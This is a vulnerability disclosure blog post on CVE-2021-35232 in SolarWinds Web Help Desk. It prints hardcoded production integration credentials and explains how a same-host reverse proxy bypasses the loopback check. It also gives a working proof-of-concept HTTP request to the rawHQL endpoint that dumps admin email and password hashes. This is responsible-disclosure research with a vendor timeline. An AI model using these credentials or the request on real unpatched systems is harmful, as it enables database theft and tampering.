Solarwinds Web Help Desk: When the Helpdesk is too Helpful

Jan 23, 2022

The advisory for this issue can be found here.

The CVE for this issue is CVE-2021-35232. The advisory from Solarwinds can be found here.

Introduction

Most enterprises have a help desk of some sort. Whether it’s for employees or end users, enterprise help desk software is often deployed to facilitate the support needs of a business.

In this blog post, we disclose a series of steps that we took in order to discover a critical bug in Solarwinds Web Help Desk: being able to execute arbitrary Hibernate Query Language queries.

This vulnerability allows an attacker to execute HQL queries against the database models defined in the source code. As a result, an attacker could read the password hashes of the users registered in Web Help Desk, including administrator password hashes.

In addition to reading sensitive information from the database, other SQL operations such as INSERT/UPDATE/DELETE were also possible, as long as a Hibernate model existed for the database tables, in the code base.

What is Solarwinds Web Help Desk?

Per Solarwinds’s marketing materials:

Solarwinds Web Help Desk lets you manage all end-user trouble tickets and track service request lifecycle, from ticket creation to resolution, from one centralized help desk management web interface.

Web Help Desk simplifies help desk ticketing, IT asset management and end-user support.

Mapping the Attack Surface

WebObjects

When we used the web application we realised that Web Help Desk was also making use of a framework called WebObjects. An example HTTP request for the WebObjects component of the application looked like the following:

/helpdesk/WebObjects/Helpdesk.woa/ra/configuration/database/test.json


We were a bit confused about how the routing worked. The web.xml file did not provide much clarity over the HTTP request we were seeing when using the web application. The only clue we picked up from analysing the web.xml file was that there was a Spring application running somewhere as well.

Since the web.xml file didn’t have much insight into how this route was declared or mapped, we ran some pretty naive searches across the codebase to identify where this route was being mapped.

Based on our experience, routes aren’t always mapped exactly with the request being made. Sometimes details such as the extension .json are inferred through other means. This is a popular convention that you may have also experienced when auditing Ruby on Rails applications.

We came up with a simple, yet effective regex to try and locate the routing for the application: database.*test. This returned the following match:

/whd/helpdesk/WEB-INF/lib/com/macsdesign/whd/ui/Application.java:
494  /*      */
495  /*      */
496: /*  496 */     routeRequestHandler.addRoute(new ERXRoute("HelpdeskInitializer", "/configuration/database/test", ERXRoute.Method.Put, WhdInitializationController.class, "testDatabaseSettings"));
497  /*      */
498  /*      */


Perfect. This looks like how the WebObjects routes are being defined. Looking at the Application.java file, we found the remaining routes defined for the WebObjects component of this application.

Spring

We mentioned earlier that the web.xml file hinted at the fact that there was a Spring application also running in Web Help Desk. Identifying the attack surface for this component of the application was much easier for us as we have experience with Spring.

Searching the code base for @RequestMapping is usually a great way to identify all of the Spring routes, and doing this returned a number of controllers that had routes mapped through the Spring Framework.

Discovery Process

Even though at this stage we’ve mapped out the routes and we have a good understanding of what is exposed and accessible in the web application, we decided to scout around the rest of the files in the code base to see if there was anything obvious we were missing.

In our discovery process, we went through every JSP file that was included in Web Help Desk, and by doing so we came across a file which contained the following JavaScript:

/whd/helpdesk/WEB-INF/jsp/test/orionIntegrationTest.jsp:

function callAddNoteToOrionAlert(frm) {
startAPIcall();
try {
... omitted for brevity ...

} catch (err) {
failedAPIcall(err);
}
}


Noticing that these credentials were hardcoded in a client-side API call, we decided to search the codebase for dev-C4F8025E7 to understand what access these credentials would provide us.

We found more credentials declared at /whd/helpdesk/WEB-INF/lib/com/solarwinds/whd/common/ConstantsAndSettings.java:

package com.solarwinds.whd.common;

public abstract class ConstantsAndSettings {
public static final String DEVELOPMENT_SPRING_PROFILE = "development";

public static final boolean HELPDESKINTEGRATION_ENABLE_DEV_ANYADDRESS = true;

public static final boolean HELPDESKINTEGRATION_ENABLE_DEV_LOGIN = true;

public static final String HELPDESKINTEGRATION_REALM_NAME = "Helpdesk integration";

public static final String HELPDESKINTEGRATION_PRODUCTION_LOGINNAME = "helpdesk91114AD77B4CDCD9E18771057190C08B";

public static final String HELPDESKINTEGRATION_PRODUCTION_PASSWORD = "1A11E431853F4CC99C27BF729479EB5D";

public static final String HELPDESKINTEGRATION_DEVELOPMENT_LOGINNAME = "helpdeskIntegrationUser";

public static final String HELPDESKINTEGRATION_DEVELOPMENT_PASSWORD = "dev-C4F8025E7";

public static final long SSOAUTH_RECHECK_INTERVAL = 15000L;

public static final String PRIVILEGED_NETWORKS_PROPERTY = "WHDPrivilegedNetworks";
}


Reading the above, we realised that there were two pairs of hardcoded credentials present in the application. One for development and one for production. This discovery was critical as only the production credentials worked in our final exploit.

Now that we know the values of the hardcoded credentials, we searched the codebase for where authentication logic was being applied that relied on these credentials

There were multiple locations in the source code which accepted these credentials:

• /whd/helpdesk/WEB-INF/lib/com/macsdesign/whd/rest/controllers/BasicAuthRouteController.java - Accepts both development and production credentials
• /whd/helpdesk/WEB-INF/lib/com/solarwinds/whd/service/impl/auth/HelpdeskIntegrationAuthenticationManager.java - Accepts both development and production credentials
• /whd/helpdesk/WEB-INF/lib/com/solarwinds/whd/service/impl/auth/ClusterNodeAuthenticationManager.java - Only accepts production credentials

In order to determine which authentication managers were in use, we were able to refer to whd/helpdesk/WEB-INF/lib/whd-security.xml which declared this information like so:

<!-- ==================================================================================================================================================== -->
<!-- WebObjects-Spring integration services - callable only from localhost, using BASIC auth with hardcoded credentials (returns 404 for other addresses) -->
<!-- ==================================================================================================================================================== -->
... omitted for brevity ...
<http pattern="/assetReport/**" create-session="stateless" use-expressions="true"
authentication-manager-ref="helpdeskIntegrationAuthenticationManager">
<intercept-url pattern="/**" access="hasRole('ROLE_INTEGRATION')"/>
<http-basic entry-point-ref="helpdeskIntegrationBasicAuthenticationEntryPoint"/>
</http>


At this stage, we have a good understanding of the attack surface and the authentication requirements for different routes in the application. It was time to dig into the logic of helpdeskIntegrationAuthenticationManager as we were interested in an endpoint located in the /assetReport/ path.

The source code for HelpdeskIntegrationAuthenticationManager.java can be found below:

/* 52 */         WebAuthenticationDetails details = (WebAuthenticationDetails)token.getDetails();
/*    */
/* 54 */         boolean isDevelopment = this.environment.acceptsProfiles(new String[] { "development" });
/* 55 */         boolean validCredentials = false;
/* 56 */         if ("helpdesk91114AD77B4CDCD9E18771057190C08B".equals(loginName) && "1A11E431853F4CC99C27BF729479EB5D"
/* 57 */           .equals(password)) {
/*    */
/* 59 */           validCredentials = true;
/*    */         }
/* 61 */         else if (isDevelopment && "helpdeskIntegrationUser"
/* 62 */           .equals(loginName) && "dev-C4F8025E7"
/* 63 */           .equals(password)) {
/*    */
/* 65 */           validCredentials = true;
/*    */         }
/* 68 */         if (isAllowedAddress) {
/* 69 */           if (validCredentials) {
/*    */
/* 71 */             SimpleGrantedAuthority simpleGrantedAuthority = new SimpleGrantedAuthority("ROLE_INTEGRATION");
/*    */
/*    */
/*    */
/* 76 */             result.setDetails(token.getDetails());
/* 77 */             return (Authentication)result;
/*    */           }
/*    */
/*    */
/* 81 */           throw new BadCredentialsException(this.messages
/* 82 */               .getMessage("AbstractUserDetailsAuthenticationProvider.badCredentials"));
/*    */         }


Let’s break this down.

• token.getDetails(); - this sets this.remoteAddress as request.getRemoteAddr();
• boolean isDevelopment - this evaluates to false by default
• else if (isDevelopment && "helpdeskIntegrationUser" - this block of code won’t run
• InternalCommunicationUtils.isAllowedAddress - checks if request.getRemoteAddr(); is a loopback address
• new SimpleGrantedAuthority("ROLE_INTEGRATION"); - if all conditions pass, we get ROLE_INTEGRATION authorization

You may be thinking that we wont be able to take this exploit further due to InternalCommunicationUtils.isAllowedAddress checking if our request comes from a loopback address.

This is where it gets really interesting. This protection is not effective when Solarwinds Web Help Desk is deployed through a reverse proxy on the same host. In this scenario, isAllowedAddress will evaluate to true as request.getRemoteAddr() will return a loopback IP address, allowing for further exploitation.

We later verified our suspicions by finding numerous instances vulnerable to our exploit in the wild. In our opinion, this mitigation is a band-aid fix over a much larger architectural issue, with a disregard of security principles when designing authentication.

Now we have some level of authenticated access to Solarwinds Web Help Desk through the hardcoded credentials. What’s the worst we can do?

After analysing the Spring controllers that were now accessible through our hardcoded credentials, we found the following snippet of code:

/*     */   @RequestMapping(value = {"/rawHQL"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ResponseStatus(HttpStatus.OK)
/*     */   public String getStringResult(@RequestBody String selectHQL) throws Exception {
/*  36 */     logger.debug("Received request for result of this hql={}", selectHQL);
/*  37 */     return this.assetReportService.getStringHQLResult(selectHQL);
/*     */   }


Tracing the code for this.assetReportService.getStringHQLResult, we found the following sink:

/*     */   public String getStringHQLResult(String hql) {
/*  61 */     String result = "";
/*  62 */     Query query = this.entityManager.createQuery(hql);
/*  63 */     List items = query.getResultList();
/*     */
/*     */
/*  66 */     result = result + result;
/*  67 */     return result;
/*     */   }


Finding this controller was a little surreal. We couldn’t believe that there was an endpoint to execute arbitrary HQL. There’s not even any need to inject anything, the controller helpfully evaluates any arbitrary HQL query we provide it.

As long as the codebase contained Hibernate Java classes for the database tables we wished to interact with, we could construct HQL queries that can perform any action on these tables.

Seems simple enough, let’s try exploit it.

So, true story, we spent over an hour battling this endpoint in Burp Suite being unable to execute queries even though we had the correct HQL syntax. We were so confused.

It’s a simple POST request, what could be so hard about exploiting this issue? The error we were seeing looked something like this:

{"reason":"org.hibernate.hql.internal.ast.QuerySyntaxException: unexpected token: Cpassword near line 1, column 15 [select+email%2Cpassword+from+Tech=]"}


URL encoding was transforming the query to something that caused a query syntax exception when processed by Hibernate.

We were ready to spend another hour debugging this, but we thankfully pulled in another colleague, who had a genius idea of sending the request with Content-Type: text/plain.

Finally, we had it working.

PoC

In order to exploit this bug, request.getRemoteAddr() must evaluate to a loopback address. This is common when this application is being routed to by a reverse proxy on the same host.

A proof-of-concept for this vulnerability can be found below:

POST /helpdesk/assetReport/rawHQL HTTP/1.1
Host: re.local:8081
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-XSRF-TOKEN: 712c84a6-b963-441a-9e2a-f16abdeafe39
X-Requested-With: XMLHttpRequest
Authorization: Basic aGVscGRlc2s5MTExNEFENzdCNENEQ0Q5RTE4NzcxMDU3MTkwQzA4QjoxQTExRTQzMTg1M0Y0Q0M5OUMyN0JGNzI5NDc5RUI1RA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Referer: http://re.local:8081/helpdesk/WebObjects/Helpdesk.woa/wo/25.7.11.0.6.1.1.3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: text/plain
Content-Length: 31

select email,password from Tech


This will return the following:

HTTP/1.1 200
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: text/javascript;charset=ISO-8859-1
Content-Length: 64
Date: Thu, 21 Oct 2021 03:35:11 GMT
Connection: close

[email protected]	{SHA}uCLxzS3PxoW0foPjmAKJ_V2OP_OoLe8k19HWi7Jy6zI


Vendor Response

Solarwinds dealt with these issues seriously, and we appreciated their efforts in remediating this vulnerability and corresponding with us.

We reported this issue to Solarwinds on the 23rd of October, 2021.

The timeline for this disclosure process can be found below:

• Oct 23rd, 2021: Disclosure of hardcoded credentials and HSQL evaluation vulnerability to Solarwinds PSIRT
• Nov 8th, 2021: Response from Solarwinds confirming receipt of vulnerability
• Nov 25th, 2021: Response from Solarwinds confirming patch release date
• Dec 23rd, 2021: Response from Solarwinds confirming release of Web Help Desk 12.7.7 Hotfix 1

The remediation details provided from Solarwind’s advisory are satisfactory and will ensure that this vulnerabilty cannot be exploited. The knowledge base article detailing the patches or workaround to apply can be found here.

Conclusion

Hardcoded credentials were found in Solarwinds Web Help Desk. These hardcoded credentials enabled access to sensitive controllers that were capable of executing arbitrary HQL queries. Through this vulnerability, an attacker could extract, update, delete, or insert almost any information in the database.

As part of the development of our Continuous Security Platform, Assetnote’s Security Research team is consistently looking for security vulnerabilities in enterprise software to help customers identify security issues across their attack surface.

Looking at this research as a whole one the of the key takeaways is that the visibility into the exposure of enterprise software is often lacking or misunderstood by organizations that deploy this software. Many organizations disproportionately focus on in-house software and network issues at the expense of awareness and visibility into the exposure in the software developed by third parties. Our experience has shown that there continues to be significant vulnerabilities in widely deployed enterprise software that is often missed.

Customers of our Attack Surface Management platform were the first to know of this vulnerability and others like it. If you are interested in gaining wholistic, real-time visibility into your attack surface please contact us.

Assetnote Is Hiring!

If you are interested in working on the leading Attack Surface Management platform that’s helping companies worldwide from the Fortune 100 to innovate startups secure millions of systems please check out our careers page for current openings. We are always on the lookout for top talent so even if there are no open roles in your field please feel free to drop us a line.